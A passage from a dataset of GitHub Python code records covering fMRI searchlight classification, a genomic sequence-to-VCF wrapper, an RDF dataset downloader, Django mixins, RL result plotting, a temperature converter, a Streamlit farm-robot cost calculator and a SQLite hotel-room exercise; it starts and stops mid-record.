np.arange(conditions.shape[0])\n\n # create training and testing vars on the basis of class labels (is this the correct split?? Notebook says this)\n idx_train, idx_test, conditions_train, conditions_test = train_test_split(\n idx2, \n conditions, \n test_size=0.2, \n random_state=2502\n )\n \n # reshape data\n fmri_img_train = index_img(b_maps_img, idx_train)\n fmri_img_test = index_img(b_maps_img, idx_test)\n\n f = open(data_path / filename, 'wb')\n pickle.dump([fmri_img_train, fmri_img_test, conditions_train, conditions_test], f)\n f.close()\n\n return fmri_img_train, fmri_img_test, conditions_train, conditions_test\n\n\ndef run_searchlight(mask_img, fmri_img_train, conditions_train, data_path, filename):\n '''\n Run searchlight classification. Save to data path.\n '''\n # initialize searchlight\n print(\"Intializing searchlight ...\")\n searchlight = SearchLight(\n mask_img,\n estimator=GaussianNB(),\n radius=5, n_jobs=-1,\n verbose=5, cv=3)\n \n # fit searchlight\n print(\"Fitting searchlight ...\")\n searchlight.fit(fmri_img_train, conditions_train)\n \n # save searchlight pickle\n f = open(data_path / filename, 'wb')\n pickle.dump([searchlight, searchlight.scores_], f)\n f.close()\n\n return searchlight\n\n\ndef main(): \n subject = \"0117\"\n np.random.seed(2502)\n \n # define paths \n path = pathlib.Path(__file__)\n data_path = path.parents[2] / \"data\" / \"searchlight\"\n bids_path = path.parents[2] / \"data\" / \"InSpePosNegData\" / \"BIDS_2023E\"\n\n # load all flms, trial_dms for particular subject\n with open(data_path / \"all_flms.pkl\", 'rb') as f:\n all_flms, trial_dms = pickle.load(f)\n\n # load all bmaps and condition labels for particular subject\n with open(data_path / \"bmaps_conditions.pkl\", 'rb') as f:\n b_maps, conditions_label = pickle.load(f)\n\n # remake labels\n idx_neg, idx_pos, idx_but, idx_but_press, conditions_label = remake_labels(conditions_label)\n \n # reshape and split for classification on the conditions we are interested in \n cond1, cond2 = idx_pos, idx_neg\n filename_RESHAPE = \"searchlight_reshaped_data.pkl\"\n fmri_img_train, fmri_img_test, conditions_train, conditions_test = reshape_classify(cond1, cond2, conditions_label, b_maps, data_path, filename_RESHAPE)\n\n # get mask paths, load masks\n mask_path = bids_path / pathlib.Path(f'derivatives/sub-{subject}/anat/sub-{subject}_acq-T1sequence_run-1_space-MNI152NLin2009cAsym_desc-brain_mask.nii.gz')\n subject_mask = load_img(mask_path)\n\n # run searchlight \n filename_SL = 'searchlight_pos_neg.pkl'\n searchlight = run_searchlight(subject_mask, fmri_img_train, conditions_train, data_path, filename_SL)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"MinaAlmasi/inner-speech-fMRI","sub_path":"src/searchlight/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"23172913856","text":"#!/usr/bin/python\n\nimport time\nimport os\nimport sys\nimport subprocess\nimport argparse\nfrom functions import *\n\ndef main():\n\tparser = argparse.ArgumentParser(description='Sequence file(s) to vcf file(s)', \\\n\t\tformatter_class=argparse.RawTextHelpFormatter)\n\tgroup1 = parser.add_argument_group('Mandatory inputs')\n\tgroup1.add_argument('-r', type=str, dest='ref_genome', required=True, \\\n\t\thelp='Fasta formatted reference genome file')\n\tgroup1.add_argument('-i', dest='input_format', \\\n\t\tchoices=['assembly','contig','fastq'], \\\n\t\trequired=True, help='Type of input file')\n\tgroup1.add_argument('-o', type=str, dest='out_dir', required=True, \\\n\t\thelp='Output directory')\n\n\tgroup2 = parser.add_argument_group('Additional arguments for inputs')\n\tgroup2.add_argument('-fs', type=str, dest='fasta_seqs', default=None, \\\n\t\thelp='Fasta format assembly or contig file.')\n\tgroup2.add_argument('-fq1', type=str, dest='fastq1', default=None, \\\n\t\thelp='Fastq file 1. For paired-end fastq data.')\n\tgroup2.add_argument('-fq2', type=str, dest='fastq2', default=None, \\\n\t\thelp='Fastq file 2. For paired-end fastq data.')\n\tgroup2.add_argument('-fq', type=str, dest='fastq', default=None, \\\n\t\thelp='Fastq file. For single-end fastq data.')\n\n\tgroup3 = parser.add_argument_group('Optional arguments')\n\tgroup3.add_argument('-l', type=str, dest='log', default=\"Sequence_to_vcf.log\", \\\n\t\thelp='Name of the log file [Sequence_to_vcf.log]')\n\tgroup3.add_argument('-n', type=str, dest='name', default=\"test\", \\\n\t\thelp=\"Name of the input sample. Does not work with 'assembly' option. [test]\")\n\t#group3.add_argument('-gatk', type=str, dest='path_to_gatk', default=None, \\\n\t#\thelp=\"Absolute path to GenomeAnalysisTK.jar. Only required for 'fastq' option.\")\n\t#group3.add_argument('-picard', type=str, dest='path_to_picard', default=None, \\\n\t#\thelp=\"Absolute path to picard.jar. Only required for 'fastq' option.\")\n\tgroup3.add_argument('-kb', dest='keep_bam', action='store_true', \\\n\t\thelp='Keep BAM files.')\n\tgroup3.add_argument('-ki', dest='keep_idx', action='store_true', \\\n\t\thelp=\"Keep index files. Only works with 'fastq' option.\")\n\tgroup3.add_argument('-p', type=float, dest='prior', \\\n\t\tdefault=0, help=\"Prior for bcftools variant caller (expected substitution rate). 0 means the prior is disabled. Only works for 'assembly' or 'contig' option. [0]\")\n\tgroup3.add_argument('-m', type=int, dest='mbq', \n\t\tdefault=10, help=\"Minimum base quality for variant caller. Only works with 'fastq' option. [10]\")\n\tgroup3.add_argument('-md', type=int, dest='min_distance', \n\t\tdefault=-1, help=\"The minimum distance to buffer records to account for clipping on the 5' end of the records, used by GATK/picard. Only works with 'fastq' option. See manual for more details. [-1]\")\n\tgroup3.add_argument('-a', dest='asm', choices=['asm5','asm10','asm20'], \n\t\tdefault='asm5', help=\"Sequence divergence: asm5/asm10/asm20 for ~0.1/1/5 percentages. Only works with 'assembly' option. [asm5]\")\n\tgroup3.add_argument('-t', dest='thread', type=int, \n\t\tdefault=10, help=\"Number of threads. [10]\")\n\n\targs = parser.parse_args()\n\n\tparam = {}\n\tparam['out_dir'] = os.path.join(os.getcwd(),args.out_dir)\n\tparam['log_nm'] = args.log\n\tparam['out_log']=os.path.join(param['out_dir'],param['log_nm'])\n\n\twith open(param['out_log'],'w') as f:\n\t\tf.write('[MicroGMT ' + \\\n\t\t\ttime.asctime( time.localtime(time.time()) ) + \\\n\t\t\t'] Program started.\\n')\n\n\tf.close()\n\n\tlog_print(param['out_log'],'==================== MicroGMT ====================')\n\tlog_print(param['out_log'],' Sequence_to_vcf')\n\tlog_print(param['out_log'],' Version 1.3 (June 2020)')\n\tlog_print(param['out_log'],' Bug report: Yue Xing ')\n\tlog_print(param['out_log'],'======================================================')\n\n\tparam['ref_genome']=os.path.join(os.getcwd(),args.ref_genome)\n\tparam['input_format'] = args.input_format\n\tparam['fasta_seqs'] = args.fasta_seqs\n\tparam['fastq1'] = args.fastq1\n\tparam['fastq2'] = args.fastq2\n\tparam['fastq'] = args.fastq\n\tparam['path_to_gatk'] = 'not_needed'\n\tparam['path_to_picard'] = 'not_needed'\n\n\tif param['input_format']=='assembly' \\\n\tor param['input_format']=='contig':\n\t\tif not param['fasta_seqs']:\n\t\t\tscn_print(\"Error: Assembly or contig file not provided!\")\n\t\t\tlog_print(param['out_log'],\"Error: Assembly or contig file not provided!\")\n\t\t\texit(1)\n\t\telse:\n\t\t\tparam['fasta_seqs']=os.path.join(os.getcwd(),param['fasta_seqs'])\n\telse: \n\t\tif not param['path_to_gatk']:\n\t\t\tscn_print(\"Error: Path to GATK not provided!\")\n\t\t\tlog_print(param['out_log'],\"Error: Path to GATK not provided!\")\n\t\t\texit(1)\n\t\tif not param['path_to_picard']:\n\t\t\tscn_print(\"Error: Path to picard not provided!\")\n\t\t\tlog_print(param['out_log'],\"Error: Path to picard not provided!\")\n\t\t\texit(1)\n\t\tif param['fastq'] and (not param['fastq1']) \\\n\t\tand (not param['fastq2']):\n\t\t\tparam['pairing']='single'\n\t\t\tparam['fastq']=os.path.join(os.getcwd(),param['fastq'])\n\t\t\tparam['fastq1']=\"nofile\"\n\t\t\tparam['fastq1']=\"nofile\"\n\t\t\tlog_print(param['out_log'],\"Fastq file is single-end.\")\n\t\telif param['fastq1'] and param['fastq2'] \\\n\t\tand not param['fastq']:\n\t\t\tparam['pairing']='paired'\n\t\t\tparam['fastq1']=os.path.join(os.getcwd(),param['fastq1'])\n\t\t\tparam['fastq2']=os.path.join(os.getcwd(),param['fastq2'])\n\t\t\tparam['fastq']=\"nofile\"\n\t\t\tlog_print(param['out_log'],\"Fastq files are paired-end.\")\n\t\telse:\n\t\t\tscn_print(\"Error: Fastq file(s) not provided correctly!\")\n\t\t\tlog_print(param['out_log'],\"Error: Fastq file(s) not provided correctly!\")\n\t\t\texit(1)\n\n\tparam['name'] = args.name\n\tparam['thread'] = str(args.thread)\n\t\n\tif args.keep_bam:\n\t\tparam['keep_bam'] = \"T\"\n\t\tlog_print(param['out_log'],\"BAM files will be kept.\")\n\telse:\n\t\tparam['keep_bam'] = \"F\"\n\n\tif args.keep_idx:\n\t\tparam['keep_idx'] = \"T\"\n\t\tlog_print(param['out_log'],\"Index files will be kept for 'fastq' option.\")\n\telse:\n\t\tparam['keep_idx'] = \"F\"\n\n\tparam['prior'] = str(args.prior)\n\tparam['mbq'] = str(args.mbq)\n\tparam['BAQ'] = 'not_used'\n\tparam['asm'] = args.asm\n\tparam['md'] = str(args.min_distance)\n\n\n\tif param['input_format']=='assembly':\n\t\t# fasta to vcf\n\t\t# The ID in fasta header will be the name\n\t\tlog_print(param['out_log'],\"Start processing fasta assembly inputs.\")\n\t\tfasta_to_vcf(param['out_log'],param['out_dir'], \\\n\t\t\tparam['fasta_seqs'],param['ref_genome'],param['asm'], \\\n\t\t\tparam['prior'],param['keep_bam'],param['thread'])\n\t\tlog_print(param['out_log'],\"Processing fasta assembly inputs successful!\")\n\telif param['input_format']=='contig':\n\t\t# contigs to vcf\n\t\t# The ID in fasta header will be provided by user\n\t\tlog_print(param['out_log'],\"Start processing fasta contig inputs.\")\n\t\tcontig_to_vcf(param['out_log'],param['out_dir'], \\\n\t\t\tparam['fasta_seqs'],param['ref_genome'], \\\n\t\t\tparam['name'],param['prior'],param['keep_bam'],param['thread'])\n\t\t#log_print(param['out_log'],\"Finished processing fasta contig inputs.\")\n\telif param['input_format']=='fastq':\n\t\t# fastq to vcf\n\t\t# The ID in fasta header will be provided by user\n\t\tlog_print(param['out_log'],\"Start processing fastq inputs.\")\n\t\tfastaq_to_vcf(param['out_log'],param['out_dir'],param['ref_genome'], \\\n\t\t\tparam['fastq1'],param['fastq2'],param['name'],param['prior'], \\\n\t\t\tparam['mbq'],param['BAQ'],param['path_to_picard'], \\\n\t\t\tparam['path_to_gatk'],param['keep_bam'], \\\n\t\t\tparam['keep_idx'],param['fastq'],param['pairing'],param['thread'],param['md'])\n\t\tlog_print(param['out_log'],\"Processing fastq inputs successful!\")\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"qunfengdong/MicroGMT","sub_path":"sequence_to_vcf.py","file_name":"sequence_to_vcf.py","file_ext":"py","file_size_in_byte":7449,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"} +{"seq_id":"9777346182","text":"\"\"\"Extract places dataset, used in the tests\"\"\"\nimport multiprocessing\nimport os\nimport re\nimport xml\nfrom typing import List\n\nimport requests\nfrom loguru import logger\nfrom rdflib import Graph\n\nBASE_URL = \"https://ontologi.es/place/\"\nDATASET_DIR = \"dataset\"\nWORKERS = multiprocessing.cpu_count() * 2 + 1\n\n\ndef setup_dir():\n \"\"\"Create dataset folder\"\"\"\n logger.info(\"Setting up dataset dir.\")\n if os.path.isdir(DATASET_DIR):\n logger.error(f\"Dataset dir already exists: {DATASET_DIR}\")\n exit(1)\n\n os.mkdir(DATASET_DIR)\n\n\ndef data_file_path(filename: str) -> str:\n return os.path.join(DATASET_DIR, filename)\n\n\ndef save_file(filename: str, content: str):\n with open(data_file_path(filename), \"w\") as fp:\n fp.write(content)\n\n\ndef download_base_url() -> List[str]:\n \"\"\"Download base URL and return list of other URLs\"\"\"\n logger.info(f\"Downloading the base URL: {BASE_URL}\")\n\n text = requests.get(BASE_URL).text\n save_file(\"base.rdf\", text)\n\n urls = re.findall(r'(?<=rdf:about=\").+(?=\" s)', text)\n return urls\n\n\ndef download_url(url: str):\n logger.info(f\"Downloading {url}\")\n filename = url.split(\"/\")[-1] + \".rdf\"\n\n try:\n r = requests.get(url)\n if r.status_code != 200:\n logger.error(f\"Failed to fetch {url}: status_codes={r.status_code}\")\n return\n text = r.text\n\n except Exception as e:\n logger.error(f\"Failed to fetch {url}: {e}\")\n return\n\n save_file(filename, text)\n\n\ndef fuse_dataset(filename: str):\n files = [os.path.join(DATASET_DIR, file) for file in os.listdir(DATASET_DIR)]\n graph = Graph()\n for file in files:\n try:\n graph.parse(file)\n except xml.sax.SAXParseException:\n logger.error(f\"Failed to parse: {file}\")\n logger.info(\"Skiping...\")\n\n graph.serialize(data_file_path(filename), format=\"application/rdf+xml\")\n\n\nif __name__ == \"__main__\":\n setup_dir()\n urls = download_base_url()\n\n with multiprocessing.Pool(WORKERS) as p:\n p.map(download_url, urls)\n\n logger.info(\"Fusing dataset\")\n\n fuse_dataset(\"dataset.rdf\")\n","repo_name":"shthiago/switch","sub_path":"scripts/setup_test_dataset.py","file_name":"setup_test_dataset.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"38052909789","text":"import datetime\nimport json\nimport os\n\nfrom django.http import HttpResponse\nfrom django.views.generic import View\nfrom common_data import models\nimport messaging\nfrom .functions import apply_style, PeriodSelectionException\nimport logging\nimport sys\n\n\nlog_file = \"service.log\"\n\nlogger = logging.getLogger('name')\nlogger.setLevel(logging.ERROR)\n\nlog_format = logging.Formatter(\"%(asctime)s [%(levelname)-5.5s ] %(message)s\")\n\nfile_handler = logging.FileHandler(log_file)\nfile_handler.setLevel(logging.ERROR)\nfile_handler.setFormatter(log_format)\nconsole_handler = logging.StreamHandler(sys.stdout)\nconsole_handler.setFormatter(log_format)\nlogger.addHandler(console_handler)\nlogger.addHandler(file_handler)\n\n\nclass ConfigMixin(object):\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(*args, **kwargs)\n config = models.GlobalConfig.objects.first()\n context.update(config.__dict__)\n context.update({\n 'logo': config.logo,\n 'logo_width': config.logo_width,\n 'business_name': config.business_name,\n 'business_address': config.business_address\n })\n return apply_style(context)\n\n\nclass ContextMixin(object):\n extra_context = {}\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(*args, **kwargs)\n context.update(self.extra_context)\n return context\n\n\nclass PeriodReportMixin(View):\n def get(self, request, *args, **kwargs):\n try:\n return super().get(request, *args, **kwargs)\n except PeriodSelectionException as e:\n return HttpResponse(f'

{e}

')\n\n\nclass ContactsMixin(object):\n '''Contacts mixin is a utility class used to extract email addresses and phone numbers from text fields in places where it is inconvenient to rename a foreign key'''\n email_fields = []\n phone_fields = []\n\n def save(self, *args, **kwargs):\n ret = super().save(*args, **kwargs)\n for field in self.email_fields:\n address = self.__getattribute__(field)\n if address and address != \"\":\n if not messaging.models.EmailAddress.objects.filter(\n address=address).exists():\n messaging.models.EmailAddress.objects.create(\n address=address)\n\n for field in self.phone_fields:\n number = self.__getattribute__(field)\n if number and number != \"\":\n if not models.PhoneNumber.objects.filter(number=number).exists():\n models.PhoneNumber.objects.create(number=number)\n\n return ret\n\n\nclass AutomatedServiceMixin(object): # not really a mixin\n service_name = None\n active_services = ['inventory', 'accounting', 'common']\n\n DEFAULT_CONFIG = {\n 'inventory': False,\n 'employees': False,\n 'accounting': False,\n 'common': False,\n 'messaging': False\n }\n '''\n Ensures the service is only run once per day. Especially for servers \n that restart multiple times a day.\n Uses two features,\n 1. On global config, stores the last service run date.\n 2. In a json file, stores the the services run on that date.\n\n If there is no record of a service being run, create a record and execute the service.\n If a record exists but it is more than a day old, reset the config file and \n execute the service\n if the record exists is less than a day old check the config file against the specific service, if run skip else run again\n '''\n\n def __init__(self):\n if not os.path.exists('service_config.json'):\n with open('service_config.json', 'w') as conf:\n json.dump(self.DEFAULT_CONFIG, conf)\n\n with open('service_config.json', 'r') as conf:\n self.config = json.load(conf)\n\n def reset_config(self):\n '''reset the config status every day'''\n config = models.GlobalConfig.objects.first()\n last_run = config.last_automated_service_run\n complete = all([self.config[i] for i in self.active_services])\n if complete and (last_run and (datetime.datetime.now() -\n last_run).total_seconds() > 86400):\n self.config = self.DEFAULT_CONFIG\n with open('service_config.json', 'w') as conf:\n json.dump(self.config, conf)\n\n def update_config(self):\n self.config[self.service_name] = True\n\n with open('service_config.json', 'w') as conf:\n json.dump(self.config, conf)\n\n # only update the last service run when all the services are run.\n if all([self.config[i] for i in self.active_services]):\n config = models.GlobalConfig.objects.first()\n config.last_automated_service_run = datetime.datetime.now()\n config.save()\n\n def _run(self):\n print(f'running service {self.service_name}...\\n')\n try:\n super()._run()\n except:\n logger.exception(f'Error running service {self.service_name}')\n\n def run(self):\n self.reset_config()\n print(f'attempting to run service {self.service_name}')\n config = models.GlobalConfig.objects.first()\n if not config.last_automated_service_run or (\n (datetime.datetime.now() -\n config.last_automated_service_run).total_seconds() > 86400\n and not self.config[self.service_name]):\n self._run()\n self.update_config()\n","repo_name":"adalbertobrant/core","sub_path":"common_data/utilities/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":5528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"2496645891","text":"import matplotlib.pyplot as plt\nimport json\nimport os\nimport pandas as pd\nimport seaborn as sns\nimport numpy as np\n\n\ndef plot_results(file_name):\n window_size = 5\n sns.set_style('white')\n sns.set_context(\"paper\", font_scale=1)\n\n with open(f'../results/{file_name}', 'r') as f:\n r = json.load(f)\n\n results = [np.average(x['simple_eval_scores']) for x in r['results']]\n\n dev_note = r['note']\n # r = pd.json_normalize(r['results'])\n # r['rolling_average'] = r['results'].rolling(window=window_size).mean()\n\n plt.plot(results, label='Score')\n ax = sns.lineplot(results)\n ax.axhline(200, color='red')\n ax.axhline(0, color='green')\n # plt.ylim(-2000, 400)\n plt.legend(loc='upper right', labels=['Score', 'Success'])\n ax.set(title=dev_note)\n ax.set(xlabel='Episodes', ylabel='Score')\n leg = ax.get_legend()\n leg.legendHandles[1].set_color('red')\n plt.show()\n fig = ax.get_figure()\n\n if not os.path.isdir('plots'):\n os.mkdir('plots')\n\n fig.savefig(f'plots/{dev_note}.png')\n\n\nif __name__ == '__main__':\n file_name = os.listdir('../results')[-1] # Plot the latest result\n plot_results(file_name)\n","repo_name":"Guttulsrud/Lunar-Lander-RL","sub_path":"evaluation/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"43532620107","text":"\"\"\"\nCelsius to Fahrenheit App\nThis is a console app that\n1 - Allow users to enter a number as temperature in Celsius\n2 - Makes sure what user entered is valid\n3 - Prints the temperature in Fahrenherit\n\"\"\"\n\ndef convertStrToNumber(str):\n try:\n value = int(str)\n return value\n except ValueError:\n try:\n value = float(str)\n return value\n except ValueError:\n print(\"The value you have inputed is invalid. Please try again!\") \nsrc = ''\n\nwhile src != 'q':\n src = input(\"Enter Temperature in °C (q to quit): \")\n if src != 'q':\n tempC = convertStrToNumber(src) # We can check input is digit or not by using src.isdigit()\n if tempC != None:\n tempF = (tempC * 9/5) + 32\n tempK = tempC + 273.15\n print(tempC,\"°C equals to \",tempF,\"°F and \",tempK,\"°K\")\n\n","repo_name":"ducdx-0072/PythonLearning","sub_path":"temp_converter.py","file_name":"temp_converter.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"10475430774","text":"'''\r\n _____ \r\n_/ ____\\____ _______ _____ ____ ____ \r\n\\ __\\\\__ \\\\_ __ \\/ \\ ______ / \\ / ___\\ \r\n | | / __ \\| | \\/ Y Y \\ /_____/ | | \\/ /_/ >\r\n |__| (____ /__| |__|_| / |___| /\\___ / \r\n \\/ \\/ \\//_____/ \r\n\r\nQuote Calculator v2023.02\r\nCreator: Ryan Dinubilo\r\nCreated: 3/4/23\r\nRevised: 3/9/23\r\n\r\nChangelog:\r\nv1.0\r\n- Created calculator\r\n\r\nv1.1 \r\n- Added support for crops and spraying sessions\r\n\r\nv1.2\r\n- Added savings algorthm, graph support, more metric displays\r\n'''\r\n\r\n\r\n#Import Libraries\r\nimport streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport streamlit.components.v1 as components\r\nimport time\r\nfrom millify import millify\r\n\r\n#Load sidebar logo and disclaimer\r\nlogo = st.sidebar.image(\"https://i.imgur.com/MYHvLk7.png\")\r\ntitle = st.sidebar.header(\"farm-ng Quote Calculator\")\r\nbody = st.sidebar.write(\"This calculator will provide you with a comprehensive analysis of the benefits of using our robotics products.\")\r\nlinks = st.sidebar.write(\"To learn more, visit our [website](https://farm-ng.com)\")\r\n\r\n#Calculation Variables and User Input\r\nacres = st.sidebar.slider(\"Acres covered\", 1, 2000)\r\nacresInt = int(acres)\r\n\r\ncropType = st.sidebar.selectbox(\"What type of crop?\", [\"🍎 Apples\", \"Blueberries\", \"Cane Berries\", \"Cannabis\", \"Cherries\", \"Citrus\", \"Hops\", \"Pollen Application\", \"Row Crops (Strawberries)\", \"Table Grapes\", \"Tree Nuts\", \"Wine Grapes\"])\r\n\r\nadvancedSettings = st.sidebar.checkbox(\"Advanced Settings\")\r\n\r\n\r\n#Miles of standard size 12ft width rows per acre\r\nmilesOfRowPerAcre = 0.79\r\n\r\n#Current estimate for number of acres covered by a single Amiga?\r\nacresPerAmiga = 20\r\n\r\n#Operation speed in miles per hour\r\noperationSpeed = 2\r\n\r\n#Human operator cost per hour\r\nhumanOperatorCostPerHour = 24.5\r\n\r\n#85 HP Tractor Overhead per hour\r\ntractorOverheadPerHour = 34.9\r\n\r\n#85 HP Tractor Overhead per year\r\ntractorOverheadPerYear = 10470\r\n\r\n#human working hours\r\nhumanWorkingHours = 8\r\n\r\n#Autonomy working hours\r\nautonomyWorkingHours = 20\r\n\r\n#tractors requi\r\ntractorsRequiredPerEvent = 1\r\n\r\n\r\nif advancedSettings:\r\n milesofRowPerAcreUser = st.sidebar.number_input(\"Miles of Row per Acre (default=0.79 mi/acre)\", value=0.79)\r\n operationSpeedUser = st.sidebar.number_input(\"Operation Speed (default=2 mph)\", value=2)\r\n\r\n humanCostPerHourUser = st.sidebar.number_input(\"Human Operating Cost Per Hour (default=$24.50)\", value=24.5)\r\n\r\n\r\ncalculateButton = st.sidebar.button(\"Calculate\")\r\n\r\nif calculateButton:\r\n\r\n #Savings algorithm\r\n N = acres\r\n \r\n df = pd.DataFrame({ 'Acres covered (acres)' : range(1, N + 1, 1), \r\n 'Original Cost ($)' : np.linspace(13.79, N*13.79 +1, N),\r\n 'Amiga Cost ($)' : np.linspace(2.63, N*2.63+1, N)})\r\n\r\n #calculations\r\n orchardMiles = acres*milesOfRowPerAcre\r\n\r\n #hours to travers full orchard\r\n ttcOrchard = orchardMiles/operationSpeed\r\n\r\n #drivers required to complete operation\r\n driversRequired = ttcOrchard/humanWorkingHours\r\n\r\n #Human cost to complete operation\r\n humanTotalCost = (ttcOrchard/acres)*(humanOperatorCostPerHour)\r\n\r\n #Driver cost per operation\r\n driverTotalCost = acres*humanTotalCost\r\n\r\n #Number of drivers needed to complete operation\r\n driversNeeded = acres/8\r\n\r\n #Calculations\r\n amigaCostPerAcre = (ttcOrchard/acres)*6.67\r\n amigaCostPerHourRounded = round(amigaCostPerAcre, 2)\r\n amigaTotal = amigaCostPerAcre*acres\r\n amigaTotalRounded = round(amigaTotal)\r\n\r\n tractorCostPerHour = (ttcOrchard/acres)*tractorOverheadPerHour\r\n tractorCostPerHourRounded = round(tractorCostPerHour, 2)\r\n\r\n tractorTotal = tractorOverheadPerHour*acres\r\n tractorTotalRoudned =round(tractorTotal)\r\n\r\n #Difference savings\r\n savings = tractorTotal - amigaTotal\r\n savingsRounded = round(savings)\r\n\r\n st.header(f\"You save: :green[${savingsRounded}] by switching to the Amiga platform\")\r\n\r\n #input display\r\n col1, col2 = st.columns(2)\r\n col1.metric(\"Acres covered\", acres)\r\n col2.metric(\"Crop Type\", cropType)\r\n\r\n #First row of columns for miles to traverse full orchard\r\n col1, col2 = st.columns(2)\r\n col1.metric(\"Miles to traverse full orchard\", millify(orchardMiles), help=f\"Covering {acres} acres at 0.79 miles of standard 12ft row per acre\")\r\n col2.metric(\"Hours to traverse full orchard\", millify(ttcOrchard), help=f'At an operation speed of 2 mph')\r\n\r\n st.write('##')\r\n\r\n #Amiga Calculation\r\n #Third row of columns for cost \r\n col1, col2 = st.columns(2)\r\n col1.metric(\"🦾 Amiga Cost Per Acre\", f'$ {amigaCostPerHourRounded}', help=f'Total amiga cost, divided by a 10 year lifetime with 300 work-hours per year')\r\n col2.metric(\"🦾 Total Amiga Operating Cost\", f'$ {amigaTotalRounded}', help=f'Covering {acres} acres at $2.63 per acre')\r\n \r\n # #Second row of columns for cost \r\n # col1, col2 = st.columns(2)\r\n # humanCost = round(humanTotalCost, 2)\r\n # col1.metric(label=\"👤 Driver Operating Cost Per Acre\", value=f'$ {humanCost}', help=f'Hours to traverse orchard divided by orchard size, times the driver pay per hour')\r\n\r\n # driverTotal = humanCost*acres\r\n # driverTotalRoudned =round(driverTotal,2)\r\n # col2.metric(\"Total Driver Operating Cost\", f'$ {driverTotalRoudned}')\r\n\r\n st.write('##')\r\n #Third row of columns for cost \r\n col1, col2 = st.columns(2)\r\n col1.metric(\"🚜 Tractor Operating Cost Per Acre\", f'$ {tractorCostPerHourRounded}', help=f'Hours to traverse orchard divided by orchard size, times the tractor cost per hour')\r\n col2.metric(\"Total Tractor Operating Cost\", f'$ {tractorTotalRoudned}', help=f'Covering {acres} acres at $13.79 per acre')\r\n\r\n #Area graph of cost\r\n st.area_chart(data=df, x=\"Acres covered (acres)\")\r\n","repo_name":"CarlSaganPhD/farmng-calc","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"33666859490","text":"# Задание 1\r\n# Вывести информацию о номерах с видом на море. Указать название номера, название типа и цену. \r\n# Столбцы назвать Номер, Тип_номера, Цена соответственно. Информацию отсортировать сначала по \r\n# возрастанию цены, а затем по названию номера в алфавитном порядке.\r\n\r\n# Пояснение. По названию номера можно определить вид из окна. Название номера состоит из 6 символов,\r\n# если последняя цифра нечетная (1, 3, 5, 7 или 9), то у номера вид на море, если же цифра четная, \r\n# то у номера вид на горы. Например:\r\n# Л-0103 - номер с видом на море;\r\n# П-1214 - номер с видом на горы.\r\n\r\nimport sqlite3\r\n# создаем базу данных и устанавливаем соединение с ней\r\ncon = sqlite3.connect(\"booking_py_01.sqlite\")\r\n# открываем файл с дампом базой двнных\r\nf_damp = open('D:/Рабочий стол/Учёба 4й курс 2023/Сетевые/1 лаба - работа с SQLite/Lab_01 IDZ/booking.db','r', encoding ='utf-8-sig')\r\n\r\n\r\n# читаем данные из файла\r\ndamp = f_damp.read()\r\n# закрываем файл с дампом\r\nf_damp.close()\r\n# запускаем запросы\r\ncon.executescript(damp)\r\n# сохраняем информацию в базе данных\r\n\r\ncon.commit()\r\ncursor = con.cursor()\r\ncursor.execute('''\r\n SELECT room.room_name AS \"Номер\", \r\n type_room.type_room_name AS \"Тип номера\", \r\n type_room.price AS \"Цена\" \r\n FROM room \r\n JOIN type_room ON room.room_id = type_room.type_room_id \r\n ''')\r\n# cursor.execute('SELECT room.room_name AS \"Номер\", type_room.type_room_name AS \"Тип номера\", type_room.price AS \"Цена\" FROM room JOIN type_room ON room.room_id = type_room.type_room_id WHERE (CONVERT(INT, SUBSTRING(room.room_name, LEN(room.room_name))) % 2) = 1')\r\n\r\n# Я никак не могу добиться того, что бы sqlite корректно обрабатывал моё условие на вывод (которое WHERE)\r\n# Тогда я пошёл дальше:\r\n \r\n#print(cursor.fetchall())\r\n\r\ncount_str = 0\r\n\r\nprint(\"Номер Тип номера Цена\")\r\n\r\nfor row in cursor.fetchall():\r\n # Проверяю, что у первого атрибута строки его последний символ, преобразованный в число - нечёнтый\r\n if int(str(row[0][-1])) % 2 == 1: \r\n count_str+=1\r\n print(row)\r\n\r\nprint(\"\\nКоличество строк: \", count_str)\r\n\r\n# ЕСЛИ Я ЧЕГО-ТО НЕ ПОНЯЛ, И ИЗ-ЗА ЭТОГО СДЕЛАЛ НЕПРАВИЛЬНО - ВСЕ ВОПРОСЫ К СОСТАВИТЕЛЮ ЗАДАНИЙ :)\r\n\r\nc = input()","repo_name":"GogikOrtey/Web_IDZ_01","sub_path":"Lab_01 IDZ/Task_01.py","file_name":"Task_01.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23326475196","text":"import pandas as pd\n\ngene_lfc_data=pd.read_csv(\"/mnt/Results/FvsM_gene_TE_analysis.txt\",sep=\"\\t\")\nTE_lfc_data=pd.read_csv(\"/mnt/Results/FvsM_gene_TE_analysis_Name_separated_only_TE.txt\",sep=\"\\t\")\n\nread_name=\"/mnt/Results/merge_transcript_TE_downstream_overlap.txt\"\nwrite_name=read_name.split(\".txt\")\nwrite_name=write_name[0]\nwrite_name=write_name+\"_lfc.txt\"\nread_pd=pd.read_csv(read_name,sep='\\t')\n\nindex_list=[]\n\nfor i in read_pd:\n 